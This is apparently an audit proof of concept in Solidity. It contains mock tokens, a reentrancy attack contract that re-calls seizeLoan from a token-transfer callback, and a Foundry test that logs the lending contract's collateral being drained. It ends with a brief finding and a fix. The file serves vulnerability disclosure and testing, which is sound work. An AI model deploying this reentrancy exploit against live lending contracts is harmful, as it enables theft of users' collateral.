pragma solidity ^0.8.13;
import "openzeppelin/token/ERC20/ERC20.sol";
import "../../src/utils/Structs.sol";
import {Lender} from "../../src/Lender.sol";
contract TERC20 is ERC20("collateralToken", "ct") {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
interface IERC20WithCallback {
function beforeTokenTransfer (address to, uint256 amount) external;
}
contract ERC777 is ERC20("loanToken", "lt") {
function mint(address account, uint256 amount) external returns(bool) {
_mint(account, amount);
return true;
}
function burnFrom(address account, uint256 amount) external returns(bool) {
_burn(account, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual override returns (bool)
{
_beforeTokenTransfer(to, amount);
return super.transfer(to, amount);
}
function isContract(address addr) public view returns(bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function _beforeTokenTransfer(address to, uint256 amount) internal {
if(isContract(to)) {
IERC20WithCallback(to).beforeTokenTransfer(to, amount);
}
}
}
contract LenderMock is IERC20WithCallback {
Lender public lender;
event receivedFee(address, uint256);
function setLender() public returns(Lender) {
return new Lender();
}
function beforeTokenTransfer(address to, uint256 amount) external {
emit receivedFee(to, amount);
}
}
contract AttackContract_1 is IERC20WithCallback {
uint256[] loanIds;
address public lender;
address public token;
address public collateral;
uint256 amountReceived;
bytes32 poolId;
uint256 debt;
uint256 cnt;
function setup(address _lender, address _token, address _collateral, uint256[] calldata _loanIds) public {
loanIds = _loanIds;
lender = _lender;
token = _token;
collateral = _collateral;
(address pool_lender,,address pool_loanToken, address pool_collateralToken, uint256 _debt,,,,,) = Lender(_lender).loans(_loanIds[0]);
debt = _debt;
poolId = Lender(lender).getPoolId(pool_lender, pool_loanToken, pool_collateralToken);
}
function beforeTokenTransfer(address to, uint256 amount) external {
amountReceived += amount;
uint256 balance = ERC777(collateral).balanceOf(lender);
(,,,,,,,,uint256 outstandingLoans) = Lender(lender).pools(poolId);
if (balance > amountReceived && outstandingLoans > debt) {
Lender(lender).seizeLoan(loanIds);
}
}
}
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "./mock/SeizeAttackMock.sol";
contract SeizeReentrancy is Test {
AttackContract_1 public attack_1_Contract = new AttackContract_1();
Lender public lender;
TERC20 public loanToken;
ERC777 public collateralToken;
address public attack_1_Address = address(attack_1_Contract);
address public lender2 = address(0x2);
address public borrower = address(0x5);
address public borrower1 = address(0x6);
address public borrower2 = address(0x7);
function setUp() public {
LenderMock lenderMock = new LenderMock();
lender = lenderMock.setLender();
loanToken = new TERC20();
collateralToken = new ERC777();
loanToken.mint(attack_1_Address, 100000*10**18);
loanToken.mint(address(lender2), 100000*10**18);
collateralToken.mint(address(borrower), 100000*10**18);
collateralToken.mint(address(borrower1), 100000*10**18);
collateralToken.mint(address(borrower2), 100000*10**18);
vm.startPrank(attack_1_Address);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(borrower1);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(borrower2);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
}
function test_set_and_borrow(address _lender, address _borrower) public returns(bytes32) {
bytes32 poolId = test_setPool(_lender);
test_borrow(poolId, _borrower);
return poolId;
}
function test_setPool(address _lender) public returns(bytes32 poolId) {
vm.startPrank(_lender);
Pool memory p = Pool({
lender: _lender,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*1e18,
poolBalance: 10000*1e18,
maxLoanRatio: 2*1e18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
return lender.setPool(p);
}
function test_borrow(bytes32 _poolId, address _borrower) public {
vm.startPrank(_borrower);
Borrow memory b = Borrow({
poolId: _poolId,
debt: 100*1e18,
collateral: 100*1e18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
}
function test_seizeLoan_reentrancy() public {
bytes32 poolId = test_set_and_borrow(attack_1_Address, borrower);
test_borrow(poolId, borrower1);
test_borrow(poolId, borrower2);
vm.warp(block.timestamp + 364 days + 12 hours);
vm.startPrank(attack_1_Address);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.warp(block.timestamp + 2 days);
attack_1_Contract.setup(address(lender), address(loanToken), address(collateralToken), loanIds);
(,,,, uint256 _pb2,,,, uint256 _ol2) = lender.pools(poolId);
emit log_string("Before Attack: ");
emit log_string("///////////////////////////////////////");
emit log_named_decimal_uint("Lender Contract Collateral Tokens: ", collateralToken.balanceOf(address(lender)), 18);
emit log_named_decimal_uint("Attacker Collateral Tokens: ", collateralToken.balanceOf(attack_1_Address), 18);
emit log_named_decimal_uint("Attacker Pool Outstanding Loans: ", _ol2, 18);
emit log_string("");
lender.seizeLoan(loanIds);
(,,,, uint256 _pb,,,, uint256 _ol) = lender.pools(poolId);
emit log_string("After Attack: ");
emit log_string("///////////////////////////////////////");
emit log_named_decimal_uint("Lender Contract Collateral Tokens: ", collateralToken.balanceOf(address(lender)), 18);
emit log_named_decimal_uint("Attacker Collateral Tokens: ", collateralToken.balanceOf(attack_1_Address), 18);
emit log_named_decimal_uint("Attacker Pool Outstanding Loans: ", _ol, 18);
emit log_string("");
}
Lenders can withdraw collateral tokens even the loan auction length remains. Thus borrower collateral locked by lender.
Delete loan details before transferring handle to lender.